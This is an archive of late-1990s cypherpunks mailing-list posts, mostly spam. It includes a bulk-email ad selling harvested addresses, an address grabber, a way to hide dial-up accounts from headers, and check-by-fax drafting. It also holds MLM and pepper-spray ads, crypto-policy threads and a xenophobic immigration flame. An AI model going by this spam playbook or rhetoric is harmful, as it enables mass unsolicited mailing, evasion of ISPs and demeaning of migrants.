Genie, AOL, Compuserve, Internet, .com & .net, MILLIONS OF THEM!
Not available on diskette or download.

===> WANT THE MILLIONS OF ADDRESSES FOR $100.00? <===

Just buy our Floodgate / Goldrush software package (with ALL
the bonuses INCLUDED), and the MILLIONS of addresses are yours
for just $100.00 additional.

These addresses will be delivered to you in simple text files
that any bulk emailing program can use, on CD Rom. With this CD,
YOU CAN BEGIN MAKING MONEY IMMEDIATELY!!!

***************************************************************

***SPECIAL BONUS #1:*** STOP Losing ISP Dial Up Accounts! 

If you order The FLOODGATE / GOLDRUSH software within the next 5 days - When you receive your program, you will also receive: 

*Complete instructions on "how to keep your dial up account from  showing up in the header", plus everything you will need to get started doing this. 

IMPORTANT NOTICE! We will initially only be offering 100 copies of the program for sale, First come / First Served basis only. We are doing this because of the extreme power that these programs offer.


***SPECIAL BONUS #2*** 

When you receive your two programs, you will also receive:
OVER 250 REPRINT AND RESELL RIGHTS REPORTS YOU CAN START TO MARKET
AND MAKE MONEY IMMEDIATELY!!! 

     These HOT sellers include: 
     1) How to Get a Top Rating in the Search Engines 
     2) 70 Money Making Reports 
     3) 75 MONEY MAKING PLANS & TRADE SECRETS and MUCH MUCH MORE!!!  
         ($200 RETAIL VALUE - FREE!!!) 


***SPECIAL BONUS #3***

With your two software programs, you will also receive our NEW "Address Grabber" utility program that enables you to grab 100's of THOUSANDS of email addresses from
newsgroups in minutes ($100 RETAIL VALUE - FREE).


***SPECIAL BONUS #4***

RECEIVE CHECKS BY EMAIL, PHONE OR FAX MACHINE. With this software
program, you can receive payment for your product or service INSTANTLY!!
There is no more waiting for your customers chec to arrive. This
software will no doubt, add to your sales, for customers who
don't have credit cards, as well as the impulse buyers.

With this software, you can print up your payments as soon as your
customer gives you his/her checking information. You will then
add the information given, to the proper blank check spaces, then
just print and go to the bank!!

         ***************************************************

To get your FREE demo and "test drive" our state-of-the-art software, 
visit our web site at:

		http://www.t-1net.com/floodgate 		

         ****************************************************

              HURRY ... RESERVE YOURS TODAY! 

So, if you are interested in taking advantage of the most powerful bulk 
email software in the world and start making money hand over fist.....

Print out the EZ ORDER form below and FAX or MAIL it to our office.

If you have any questions don't hesitate to call us at: 1-954-784-0312

SYSTEM REQUIREMENTS

386 or larger
Windows 95 OR Windows 3.1 with 8 meg ram
Extra 5 MB hard drive space

Floodgate & Goldrush can be run on a fast Mac with 24 MB RAM and SoftWindows.

NOTES FROM SATISFIED USERS

"It is everything you said it was. Within one week of my first mailing, I received a record number of orders. All you need to print money is a decent sales letter. Thanks." Randy albertson, Wolverine Capital.

"After using Floodgate and your utility program all day today, let me say these are as two of the finest programs I have ever bought in my 52 years! Your support has been superb. Thank You!" Vernon Hale, Prime Data Systems

"My first day and I just used Floodgate and Pegasus to send 1,469 sales letters. So far I've got about 25 positive responses. It works GREAT!!! Thanks." Donald Prior

"Floodgate is awesome!. I recently started a new business on-line. I stripped the addresses of the AOL & CIS classifieds. I sent out 3,497 email letters and got over 400 people to join my company in 5 days! Needless to say, it pays for itself." David Sheeham, OMPD

"I was able to use Floodgate to extract the names from the Internet news groups. It works perfectly. Needless to say, I am very excited about the use of this new technology." Mark Eberra, Inside Connections

"This is a great piece of software and an invaluable marketing tool." Joe Kuhn, The Millennium Group

"I just thought you'd like to know that this program is fantastic. After loading it on my system, I wanted to test it out. In my first hour of using this, I collected 6,092 email addresses!" Richard Kahn, LD Communications

"I just love the Floodgate program. It saves me hours and hours of time. This is the beginning of a wonderful FUN time marketing on-line. Thank you so much for writing this program." Beth O'Neill, Eudora, KS

"Your software is brilliant, and from the technical support I've received, I can see you have a genuine love and respect of people...Floodgate is a divine package. Wish I had found it sooner." Tom Sanders, Peoria, IL

"I really like the way the Floodgate software package works. It is very easy to use, and really does the trick. It has already saved me an incredible amount of time and energy." John Berning, Jr., Fairfield, NJ

"It's going great with FLOODGATE! I like using Delphi. I just collected 50,000+ addresses within 20 minutes on-line." Richard Kahn, R&B Associates

-------------------------------------------------
E-Z ORDER FORM:

Please print out this order form and fill in the blanks......
Please send order form and check or money order, payable to:

Dave Mustachi
P.O. Box 772261
Coral Springs, FL 33077-2261
(954) 784-0312


______Yes! I would like to try your cutting-edge software so that I can advertise my business to thousands of people on-line whenever I like! I understand that I have 10 days to trial the software. If I am not fully delighted, I will cheerfully be refunded the purchase price, no questions asked! Please rush me the FLOODGATE and GOLDRUSH package now!

______I am ordering within 72 hours! That qualifies me to receive the FLOODGATE and GOLDRUSH package at a substantial discount! I am ordering BOTH software packages for only $349.95. (Save $150 off the retail price....Software has sold for as much as $2,499.95)

______I am ordering within 72 hours! That qualifies me to receive UNLIMITED technical support for 30 days.

______I want to receive the package OVERNIGHT. I'm including $18.00 for shipping charges.

______I want to receive the package 2nd DAY. I'm including $10.00 (includes insurance & return receipt) for shipping charges.

______I'm ordering Floodgate / Goldrush software and want to order the MILLIONS of email addresses as well. My additional cost is $100.00 enclosed.

______I'm NOT ordering your Floodgate / Goldrush software, but I
want to order your MILLIONS of email addresses on CD. Enclosed is $249.00.

(CHECKS: ALLOW 1 WEEK FOR BANK CLEARANCE)


YOUR NAME_________________________________________________

COMPANY NAME_________________________________________________

YOUR POSITION_____________________________________________

STREET ADDRESS______________________________________________

CITY, STATE, ZIP____________________________________________

PHONE NUMBERS_______________________________________________

FAX NUMBERS_________________________________________________

EMAIL ADDRESSES_____________________________________________

************************************************************

We accept Checks, Money Orders, MasterCard, Visa,
American Express. You can either mail your order to 
us OR fax your order to:

			954-572-5837
************************************************************

Today's date:_____________
 
Visa____MasterCard____American Express____Discover_______
 
Card #:____________________________________________________
 
Expiration date:___________________________________________
 
Name on card:______________________________________________
 
Billing address:___________________________________________
 
Amount to be charged: $________________


Signature:___________________________________________


I agree to pay Dave Mustachi an additional $29 fee if my check is returned for insufficient or uncollectable funds.

SIGNATURE: X________________________________DATE:_______________

Please send all order forms and check or money order to payable to:

Dave Mustachi
P.O. Box 772261
Coral Springs, FL 33077
(954) 784-0312


***************************************************

OR:

PLEASE PASTE YOUR CHECK HERE

(If you fax a check, there is no need for you to send the original check by mail. We will draft up a new check, with the exact information from your original check that you faxed to us)

Please fax the above order form and check to: 1-95




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Afriend@good-buddy-911.com
Date: Wed, 19 Nov 1997 11:34:07 -0800 (PST)
To: GoodFolks@Uwisefolk.com
Subject: - Herbatrol Beats Them All -
Message-ID: <28093935_97745020>
MIME-Version: 1.0
Content-Type: text/plain



                 ****************

Innovative MLM Company's $35.95 a Month Plan
Outpays the $100/Month Plan!

The Company is Herbatrol and its incredible nutritional product 
Metamorphosis combines antioxidants, DHEA, Cat's Claw, Co Enzyme Q10, 
Vitamins and a host of other herbs.

Pay Plan Comparison
Let's compare 5 1st level distributors, 25 2nd level and 125 3rd level:
Each companies spending $100 per month for products.
Body Wise	$775		Kaire Int'l	$1550
New Vision	$880		Changes Int'l	$1575
Life Plus	$1440		ForMor Int'l	$1785
>  Herbatrol Pays $3210 for just $35.95 per month!!!

Testamonial
Nobody Can Miss!  "For the past several months I have been seen $140
sucked from my checking account on an autodraft so that I could stay
qualified to receive a small commission check.  I'm so tired of
spending lots to make a little.  At $35.95 everyone can afford to
participate.  My second month check was almost $2,000!"	
		    - Jennifer Harris/California

Retired and Loving Life.  "We're retired folks without a lot of money 
to spend. We like Herbatrol because it's so affordable.  We feel great,
we're full of life and in three months we're making more than our 
retirement checks.  If we can  do this, anyone can."
-Bob & Nancy Clement/Arizonia

For Full Information and Application, Visit Our Website at
	http://www.goodbiz.com/ead/herbatrol/index.html






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "http://www.musicblvd.com/" <manager@musicblvd.com>
Date: Wed, 19 Nov 1997 17:17:03 -0800 (PST)
To: musicblvd@sparklist.com
Subject: News from Music Boulevard
Message-ID: <3.0.32.19971119154731.007bf8a0@mail.sparknet.net>
MIME-Version: 1.0
Content-Type: text/plain



Dear Music Boulevard Shopper,

Music Boulevard is jumping with activity! We've been working hard the
past few months to add new features to the store to improve your
shopping experience at www.musicblvd.com.  In addition, we continue to
offer competitive prices on new releases and Billboard hits, and we
strive to provide you with the quality information and service you need
to find the music you want.

Please come visit us and check out these new improvements as well as
our *HOLIDAY* gift ideas, which will make this year's holiday shopping
a piece of cake!  We're even extending our $1 SHIPPING offer (on all
U.S. orders) to make it more convenient for you to send the gift of
music to all your family and friends.

In the coming weeks, we'll be unveiling more exciting features and
specials which we promise to let you know about. As always, we
encourage you to send us your feedback, comments or questions to
info@musicblvd.com, and we look forward to seeing you again soon on
Music Boulevard.

Sincerely,

The Staff of Music Boulevard 
--------------------------------

TODAY'S CONTENTS

1. Store Features
2. Special Sales
3. New Releases
4. Advance Order Items
5. An Online Music Exclusive!

---------------------------
STORE FEATURES 
---------------------------

*ONE DOLLAR SHIPPING - we'll ship any amount anywhere in the U.S. for
just one dollar!
*GIFT SHIPPING - Add a personalized note when you send a gift from
Music Boulevard.
*GIFT CERTIFICATES - When you don't know what to get 'em -- send a
cyber-gift certificate.

---------------------------
SPECIAL SALES
---------------------------

*HOLIDAY MUSIC - Five genres worth of festive Holiday music selections.
http://www.musicblvd.com/cgi-bin/tw/1314_0_/mb2/live/mrkt/holiday.txt

*BOXED SETS ON SALE _ GREAT gift ideas for every musical taste.
http://www.musicblvd.com/cgi-bin/tw/1314_0_/mb2/live/mrkt/boxsets.txt

*Deutsche Grammophon "Essentials" sale - 75 must have titles from the
legendary classical label.
http://www.musicblvd.com/cgi-bin/tw/1314_0_/mb2/live/lists/cidg.txt

*100 ESSENTIAL JAZZ RECORDINGS - JazzCentralStation.com selected the
best albums ever!
http://www.musicblvd.com/cgi-bin/tw/1314_0_/mb2/live/lists/jzhu.txt

*GREATEST HITS - all the Best Greatest Hits titles from the Best
Selling Artists.
http://www.musicblvd.com/cgi-bin/tw/1314_0_/mb2/live/mrkt/greatest.txt

*Cool stuff from MTV - Music Boulevard is the online store for MTV and
VH1. Check out the merchandise for sale.
http://www.musicblvd.com/cgi-bin/tw/1314_0_/mb2/live/main/mtv/catalog.tx
t 

---------------------------
NEW RELEASES
---------------------------
"Gold and Platinum" -The Ultimate Rock Box.  A Music Boulevard online
exclusive.  The ultimate gift for the rock fan.
http://www.musicblvd.com/cgi-bin/tw/1314_0_/mb2/live/mrkt/ultimaterock.t
xt

Led Zeppelin - "BBC Sessions".  Rescued from the vault, 2 CD's for 18.99
http://www.musicblvd.com/cgi-bin/tw/1314_43_453720

Celine Dion - "Let's Talk About Love"
http://www.musicblvd.com/cgi-bin/tw/1314_43_457293

Metallica - "Re-Load".  The second half is here!
http://www.musicblvd.com/cgi-bin/tw/1314_43_452809

Kenny G - "Greatest Hits"
http://www.musicblvd.com/cgi-bin/tw/1314_43_452404

---------------------------
ADVANCE ORDER TITLES
---------------------------
Get 'em before they're hot!  All these CDs can be ordered in advance
and arrive at your door the day of release:

Garth Brooks - "Sevens". He's back with a new one at last! 11/25
http://www.musicblvd.com/cgi-bin/tw/1314_43_462198

Babyface - "MTV Unplugged" 11/25 
http://www.musicblvd.com/cgi-bin/tw/1314_43_457297

Sublime - "Second Hand Smoke" 11/25
http://www.musicblvd.com/cgi-bin/tw/1314_43_455798

Diana Princess of Wales - "The Tribute Album" 12/02
http://www.musicblvd.com/cgi-bin/tw/1314_43_461933

Bryan Adams - "Unplugged" 12/09
http://www.musicblvd.com/cgi-bin/tw/1314_43_462709

---------------------------
AN ONLINE MUSIC EXCLUSIVE!
---------------------------

We've been working with one of our favorite bands, The Verve Pipe
(http://www.musicblvd.com/cgi-bin/tw/1314_42_168858), to bring you a
special offer exclusively for online music fans. Here's what they asked
us to tell you:

"A few weeks ago we were approached with an opportunity that we loved.
We learned about a cool new technology now available from AT&T, that
brings our music directly to our fans. 

We asked for the cooperation of both our label RCA/BMG, and our
publisher EMI, to allow us to deliver a special live performance track
in its entirety. As many of you know, the Internet has been an huge
part of our ongoing communication with you.  

One of our favorite songs, "Reverend Girl", from our album "Villains",
was recorded live at the State Theater in Kalamazoo, MI. We were very
happy with the quality of the recording and performance of that night.
After a lot of thought, we chose this live track to make available to
you in its entirety -- at no cost! 

We have been assured by the folks at AT&T that the quality of the
download is as good as the original live recording, and it will only be
available for a limited time through our web site:
http://www.thevervepipe.com 

We hope you enjoy and thanks to all."

The Verve Pipe 

---------------------------
TO UNSUBSCRIBE  
---------------------------

To unsubscribe from this mailing list, send an Email to:
remove-musicblvd@sparklist.com
and you will automatically be removed from this list.


T H A N K S  F O R  S H O P P I N G  A T  M U S I C  B O U L E V A R D !




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Global Web Builders <gwb@gwb.com.au>
Date: Wed, 19 Nov 1997 04:35:39 -0800 (PST)
To: (Recipient list suppressed)
Subject: "Pauline, The Hanson Phenomenon" by Helen Dodd
Message-ID: <1.5.4.16.19971119221351.6c6f3956@mail.ipswich.gil.com.au>
MIME-Version: 1.0
Content-Type: text/plain


----------------------------------------------------------------------------

PLEASE NOTE: No unsolicited email is sent. If you do not want to be on the
mailing list please say "REMOVE" in the subject line and return this message
in the body.

----------------------------------------------------------------------------

Special Newsletter No 1.5a


Dear Pauline Hanson One Nation Supporters in NSW,

The 250 page authorised biography of Pauline Hanson (with pictures),
"Pauline, the Hanson Phenomenon" by Helen Dodd will be launched this Friday.
The book will make an excellent Christmas present.

The background on the book can be seen (together with a printable order
form) at:

http://www.gwb.com.au/gwb/news/onenation/book.html

If you order the book by fax by midnight Thursday night (20th November) you
will get a copy in the mail signed by Pauline Hanson at Friday's launch.

Fax your order to: (07) 3201 0961

Alternatively, if you wish, you may send your credit card and other details
(as per the on-line form) to the author by email at:

camint@geocities.com

(signing timeline as per fax)

If you are paying by cheque, please make your cheques payable to: 

CYBER ADVERTISING AND MARKETING.

------------
Book costs:

The soft covered book sells for Au$24.95 (including postage).

The limited edition numbered hard copy edition (only 150) sells for
Au$70.00. (Please note nearly half of these hard copy editions have been
sold already).

Any orders received after midnight Thursday night WILL NOT BE SIGNED AT THE
LAUNCH because of administrative restrictions..... so get your order in now!

GWB



Scott Balson





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: panam@information4u.com
Date: Sat, 28 Feb 1998 13:27:04 -0800 (PST)
To: cyperactiv@delphi.com
Subject: Utilities *!
Message-ID: <199802282122.QAA24239@ren.globecomm.net>
MIME-Version: 1.0
Content-Type: text/plain


X-Info:
X-Info:Sent using Zen Bulk Emailer (FREE)
X-Info:See End Of Email For Free Copy And Download Address

                                 Important Information For You
 
You have been chosen to get this important information. 
 
Effective 1 January 1998 Congress mandated the deregulation of the Utilities Industry. Opening up a 215 Billion dollar industry. An 
opportunity now exists to make profit off the customer usage of services we provide.  
 
NSI  is a $1.5 Billion US based company incorporated in 1984. NSI is a debt-free company. Success Magazine named NSI as one of 
only eight hyper-growth companies in US history ever to achieve $1 Billion in annual sales within 10 years. Now NSI is launching a 
new technology division that will revolutionize the Internet, Discount Utilities, Telecommunication, Cellular,  Cable, Digital 
Satellite TV, Home Security, Business and Financial Services, World Wide Electronic Home Shopping - Internet Commerce. etc. All 
of the services being all on one bill with great discount. Something that everyone uses but being provide in a bundle for great saving.  
 
Being an Ex-Excel Representative I know how important it is to be at the Ground Floor level. The people who get in any Network 
Marketing business at the ground floor are the people making the most money. This Division of NSI is still in the Pre-launch stage. 
Getting the information couldn't come at a better time. Please just call us at : 
 
                                         1-580-353-1909 or e-mail us by clicking REPLY
 
                                                You will not Regret!!!!!!!!!!!!! 


*** Get The Zen Bulk Emailer FREE - Where To Get it ***
*** FAX/CALL +1 212 2082904 (US) or FAX +44 (01772) 492507 (UK) ***
*** No Question, No Hard Sell, It's Freeware ! ***




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ascan8506@msn.com
Date: Sun, 23 Nov 1997 01:07:47 -0800 (PST)
To: Friend@public.com
Subject: Pepper Sprays/ Personal Security Products
Message-ID: <806499472.HCD43645@deliver-me.com>
MIME-Version: 1.0
Content-Type: text/plain


<HTML><PRE><FONT  COLOR="#000000" SIZE=3>**THREE GREAT PRODUCTS FOR THE SECURITY CONSCIOUS**

THESE VALUABLE PRODUCTS MAKE GREAT CHRISTMAS GIFTS TOO!

At this time, we are offering three different types of Security Products 
(all factory fresh in individual packaging),as follows:

(1) THE KEYCHAIN PEPPER SPRAY-
It is fast, simple, and easy to use. You have it in your hand while approaching your car
to provide added peace of mind. RETAILS for $29.95 elsewhere but yours for ONLY $15.00 which includes FREE SHIPPING!

Note: all Pepper Spray models incorporate a 10% Cayenne Pepper solution more effective than tear gas.Stops the attacker for up to 1/2 hour and can be used many
times repeatedly.Over 1,100 government agencies now report using this 10%
solution.

(2) SECURITY PLUS PERSONAL ALARM

This earsplitting 130 decibel alarm calls attention to any emergency!

The alarm is triggered when the pin of this pocket sized device is pulled. It is designed to clip to a belt, purse or to your sweats. This alarm is lightweight and convenient enough to go everywhere you go!

A wise move against attack or harassment. Good investment for:
-----High school and college students
-----shoppers in parking lots
-----people on night shift
-----riders on public transit
-----airline personnel
-----joggers and hikers
-----nurses and security guards

These make a timely and valuable holiday gift! ORDER YOURS TODAY!

Quantity  Price per unit for KEYCHAIN SPRAYER   Price per unit for ALARM
1-5                            $15.00                                             $10.00
6-20                          $14.00                                             $9.00
21-50                         $13.00                                             $8.00

******NEW ITEM!******

THE FOUNTAIN PEN PEPPER SPRAY!! 
SUPER WHOLESALE CLOSEOUT SALE

Freelance Security Products is proud to announce the latest to their line of
security products--the FOUNTAIN PEN PEPPER SPRAY! 

This pen won't write....But it may save your life!
The Fountain Pepper Spray is a lightweight 1/ 2 oz.(14 grams), and will shoot
up to 10 feet. Each pen contains 15 one second shots and has 75 pounds of
pressure. The pen's height is 5 3/4 " and the diameter is 1/2 ".
The formula used is 10% OC.(a maximum strength cayenne pepper spray)Effective
in stopping even those attackers under the influence of alcohol and drugs....

Please take advantage of our special deal. Pay the lowest rate available for these pens!

Quantity        Price per pen fee
1-5                $9.00
6-10              $8.50
11-50            $8.00
<B>
</B>Please remit payment payable to Freelance!<B> </B>and send to:

     FREELANCE!
     331 West 57th Street
     Suite # 340
     New York  NY 10019 

All orders are discreetly packaged and promptly shipped.
Please add an additional $15.00 for overnight delivery via FedEx
===========================================================
FREELANCE! SECURITY PRODUCTS ORDER FORM

Business Hours
Monday thru Friday 9am to 9pm (PST)
Saturday & Sunday 11am to 6pm (PST)

<FONT  COLOR="#000000" SIZE=4><B>VOICE: 212-539-3984
FAX:     212-489-8011<FONT  COLOR="#000000" SIZE=3></B>

<U>FORMS OF ACCEPTED PAYMENT:</U> 

1.CREDIT CARD ORDERS: *Minumum Order is $50.00*---Call to Place Your Order

Name as it Appears on Card:___________________________________

Credit Card Type VISA______M/C______AMEX______DISC_________

Card Number________________________________________________

Expiration Date______________________________________________

AUTHORIZED CARDHOLDER'S SIGNATURE______________________

TOTAL AMOUNT TO BE CHARGED______________________________

2. CHECK/CASH/MONEY ORDER: Please send payment and order form to addresss below payable to:  FREELANCE!
(Please allow 2 weeks for company and personal checks to clear)

Freelance! Services
331 West 57th Street
Suite # 340
New York NY 10019

ORDER FORM-----------------------CUT HERE----------------------------------

______Yes, please rush me a total of (#) _______ KEYCHAIN SPRAYS, _______ PERSONAL SHRILL ALARMS and  ______ PEN PEPPER SPRAYS. I have enclosed a total of $____________, in the form of  (cash/check/money order/credit card) payable to Freelance!. This small amount, based on the quantity ordered, covers all shipping and handling fees. Please send my order to the below address. Thank you.

NAME__________________________________________________________________

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<FONT  COLOR="#000000" SIZE=3>
</PRE></HTML>





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@invweb.net>
Date: Thu, 20 Nov 1997 14:53:47 -0800 (PST)
To: Duncan Frissell <frissell@panix.com>
Subject: Re: Report on UN conference on Internet and racism
In-Reply-To: <3.0.2.32.19971120164135.035dba00@panix.com>
Message-ID: <199711202253.RAA22495@users.invweb.net>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

In <3.0.2.32.19971120164135.035dba00@panix.com>, on 11/20/97 
   at 04:41 PM, Duncan Frissell <frissell@panix.com> said:

>-----BEGIN PGP SIGNED MESSAGE-----

>At 10:08 PM 11/19/97 -0600, William H. Geiger III wrote:
>>My impeachable claim is I am here and they are not. I see no reason why I
>>or anyone else should sit idly by and watch the SouthWest be turned into a
>>Mexican colony. 

>Move North.

Hmmm just like the Indians should have moved West?

>What are your grounds for restricting the rights of your neighbors to 
>contract with Mexicans or whoever else they care to?  Buy, sell, hire,
>rent,  etc.

When you have +1,000,000 Mexicans comming across the boarder a year that
is called an Invasion. When the Federal Government refuses to defend the
boarders and forces the citizens of the states to aid in this invasion
this is called Treason.

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://users.invweb.net/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://users.invweb.net/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

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Version: 2.6.3a
Charset: cp850
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Joichi Ito <jito@eccosys.com>
Date: Thu, 20 Nov 1997 17:11:24 -0800 (PST)
To: cypherpunks@toad.com
Subject: At least it's not meat...
Message-ID: <3474DFA1.7DED@eccosys.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP MESSAGE-----
Version: PGP for Business Security 5.5
Comment: "I Broke PGP!"

owGFVE2IHEUY3bAuaGujsrDx+LFePIyDq4m7rsH9iWZ3Fje7OIniD4Sa7urucqqr
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Randall Farmer <rfarmer@HiWAAY.net>
Date: Thu, 20 Nov 1997 17:19:42 -0800 (PST)
Subject: Doh! (Re: Stylometry)
In-Reply-To: <Pine.OSF.3.96.971118211117.5311A-100000@fly.HiWAAY.net>
Message-ID: <Pine.OSF.3.96.971119205057.8603A-100000@fly.HiWAAY.net>
MIME-Version: 1.0
Content-Type: text/plain


There was a significant glitch in the version of the stylometry aid I
posted...read on if you care. 

Also, does anyone know where I can find some *real* stylometry programs (i.e.,
ones that do the math, etc.)? 

===============================================================================

I added the conjunctions-as-sentence-splitters after originally writing the
message with the program in it, and messed it up while updating the message to
match. Once you change this, it should catch most of the intended conjunctions
(not all of them -- specifically, not the ones with the comma on a different
line from the conjunction). 

> echo [and/or/but as sentence-splitters]
> grep -c "and,"<$1
          ^^^^^^
Should be ", and"

> grep -c "or,"<$1
          ^^^^^
Should be ", or"

> grep -c "but,"<$1
          ^^^^^^
Should be ", but"

---------------------------------------------------------------------------
Randall Farmer
    rfarmer@hiwaay.net
    http://hiwaay.net/~rfarmer





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Gilmore <gnu@toad.com>
Date: Thu, 20 Nov 1997 20:39:46 -0800 (PST)
To: bernstein-announce
Subject: Government's reply in Bernstein appeal; Dec 8 hearing coming
Message-ID: <199711210420.UAA12310@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


The Government's 38-page reply argues that:

	* The EAR's Export Controls Are Not a Facially Unconstitutional
	  Prior Restraint
	* The EAR's Export Controls Satisfy the First Amendment Standards
	  Governing Content-Neutral Regulations
	* The District Court's Declaratory and Injunctive Relief is Too Broad

The brief is available in graphical page images in:

	http://www.eff.org/pub/Legal/Cases/Bernstein_v_DoS/Legal/ 

(Reload the page in your browser if you have an older version cached.)

Several amicus briefs, filed on November 10 along with Professor
Bernstein's appeal brief, are also newly on the Web.  The full set of
filings for this appeal includes:

	Government's appeal brief
	Bernstein's appeal brief
	Amicus briefs from:
		Law professors
		EPIC & civil liberties organizations
		American Assoc. for the Advencement of Science (missing)
		Thomas Jefferson Center, re Founders' use of crypto
		RSA & NCSA & others, re reduced security from controls
	Government's reply brief

The Court will now digest this large meal of cellulose, then hold a
hearing in which the judges can question the lawyers from both sides,
about anything they are unclear about.  They will then deliberate, and
write and issue their decision.

The appeal hearing is on December 8, at 9AM at the Ninth Circuit Court
of Appeals, 95 Seventh Street, San Francisco.  This is *not* the same
location as earlier hearings in the case.

We hope you can come, to witness the struggle for civil rights for
cryptographers, to speak with the press who attend, to meet with other
people concerned about cryptography policy, and to show the judges
that the public cares how they decide this case.

	John Gilmore
	Electronic Frontier Foundation




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Phillip M. Hallam-Baker" <hallam@ai.mit.edu>
Date: Thu, 20 Nov 1997 19:14:32 -0800 (PST)
To: "William H. Geiger III" <frissell@panix.com>
Subject: Re: Report on UN conference on Internet and racism
Message-ID: <01bcf62b$815f3be0$06060606@russell>
MIME-Version: 1.0
Content-Type: text/plain


>>What are your grounds for restricting the rights of your neighbors to 
>>contract with Mexicans or whoever else they care to?  Buy, sell, hire,
>>rent,  etc.
>
>When you have +1,000,000 Mexicans comming across the boarder a year that
>is called an Invasion. When the Federal Government refuses to defend the
>boarders and forces the citizens of the states to aid in this invasion
>this is called Treason.


And when you get this sort of claptrap it is called bigottry.

If you really believed all that pseudo-Libertarian crap you write
you would understand that national government is no more
legitimate than trans national.

Why should there be artificial, government imposed controls
on labour? Let the free market decide. 


            Phill








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: gls.mix.dom4@aol
Date: Thu, 20 Nov 1997 22:55:56 -0800 (PST)
To: Friend@public.com
Subject: 29 Million Fresh E-Mail Addresses for only $35 !!!
Message-ID: <>
MIME-Version: 1.0
Content-Type: text/plain


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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: trim@lovinlife.com
Date: Fri, 21 Nov 1997 01:16:30 -0800 (PST)
Subject: No Subject
Message-ID: <199711210913.EAA28299@iconmail.bellatlantic.net>
MIME-Version: 1.0
Content-Type: text/plain


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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Afriend@good-buddy-911.com
Date: Fri, 21 Nov 1997 13:02:31 -0800 (PST)
To: GoodFolks@Uwisefolk.com
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: TruthMonger <tm@dev.null>
Date: Fri, 21 Nov 1997 13:28:51 -0800 (PST)
To: iang@cs.berkeley.edu
Subject: Re: [cpe:4977] Re: Personal use crypto export
In-Reply-To: <34450E74.5C1@acm.org>
Message-ID: <3475FA7D.32A9@dev.null>
MIME-Version: 1.0
Content-Type: text/plain


Ian Goldberg wrote:
> >(f) Special provisions: encryption software subject to EI controls.
> >
> >(1) Only a U.S. citizen or permanent resident as defined by 8 U.S.C.
> >1101(a)(20) may export or reexport encryption items controlled for EI
> >reasons under this License Exception.

> So I can't take my laptop to Anguilla, right?  (I'm not a US citizen or
> permanent resident; I'm pretty sure I don't fall under the TMP exception
> either, but I haven't checked in a while.)

Check out the regulations quoted.
A wide variety of people, such as all (or certain types of) students
qualify as 'permanent residents' under some regulations (but not
under others). 
The 'qualifying' portions of various regulations often change on
a whim. e.g. - qualification for dual citizenship of US born 
children who immigrate with their parents to another country before
they reach the age of consent.

The bottom line is that if you get an opinion from some legal source
or another (preferably in writing), it is rarely worthwhile for some
gubmint dweeb to seriously fuck with you, unless they 'want' to fuck
you for some other reason and need an excuse.
  (The Law of Karma applies, nonetheless.)

In short, cover your ass and don't use my name when crossing borders.

TotoMonger






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nospam-seesignature@ceddec.com
Date: Fri, 21 Nov 1997 15:17:10 -0800 (PST)
To: platypus@acmeonline.net
Subject: Re: Will Jews be Forced to Accept Christ in Public Schools?
In-Reply-To: <Pine.LNX.3.93.971121184226.326M-100000@shirley>
Message-ID: <97Nov21.181732est.32259@brickwall.ceddec.com>
MIME-Version: 1.0
Content-Type: text/plain


On Fri, 21 Nov 1997, ? the Platypus {aka David Formosa} wrote:

> -----BEGIN PGP SIGNED MESSAGE-----
> 
> On Tue, 18 Nov 1997 nospam-seesignature@ceddec.com wrote:
> 
> [...]
> 
> > Both are necessary for the electorate in a democracy, and our supreme
> > court says we cannot teach virtue in public school, and the educators have
> > stopped teaching reason.
> 
> You are argueing that the religions have a monopoly on virtue?

No, but I am arguing that purely secular *GOVERNMENT* is incapable of
teaching it, or acting as an example - Normally you must know something or
be able to act out something in order to teach it.  Cypherpunks contains a
constant stream of government not even being hypocritical (the compliment
vice pays to virtue) - they simply act viceous.  If it ever gets something
right it is usually voiced as an unintentional consequence.  I can teach
saying Government is an example of what not to do, but Government itself
cannot do the same.  But even without getting religous I can teach virtue
as a positive instead of a series of negatives.

For example, you can teach virtue based on Aristotle, or even Socrates. 
Or as an objectivist might point out, Ayn Rand.  Although I haven't
attempted to create a curriculum, I have come across many books just in my
economics readings that don't mention God once, but mention various
virtues as such (though not always by that word).  I know someone who is
very far from my Religous beliefs, but otherwise we agree on Libertarian
ideas and the need to instill virtue - he now homeschools his children.

Even my religous view holds that those who don't hold it are exhonerated
or condemned by their own consciences (if properly formed which is a prior
responsibility) [Romans Chapter 1 is the most often cited passage]. 

Thrift (seeking higher quality at lower prices), Delaying Gratification
(e.g. Save instead of buying on credit), Temperance (we do have a drug
problem and we see how government approaches it), Prudence (ditto with
teenage sex) are all Virtues by natural law, and I could number more and
come up with a list that everyone who believe in the concept of virtue
would recognize.  These truths are accessible via reason alone - if people
would let reason reach the conclusion.

Religion is neither sufficient, nor even necessary to teach virtue, and
often fails to teach it.  But in the past it has tended to recognize
virtue and teach it before purely secular institutions.  The French
Revolution was (false) reason without virtue, and purely secular, and
everyone knows the result.  Our founders, including the Deists and
Unitarians all point out that virtue is necessary for liberty and
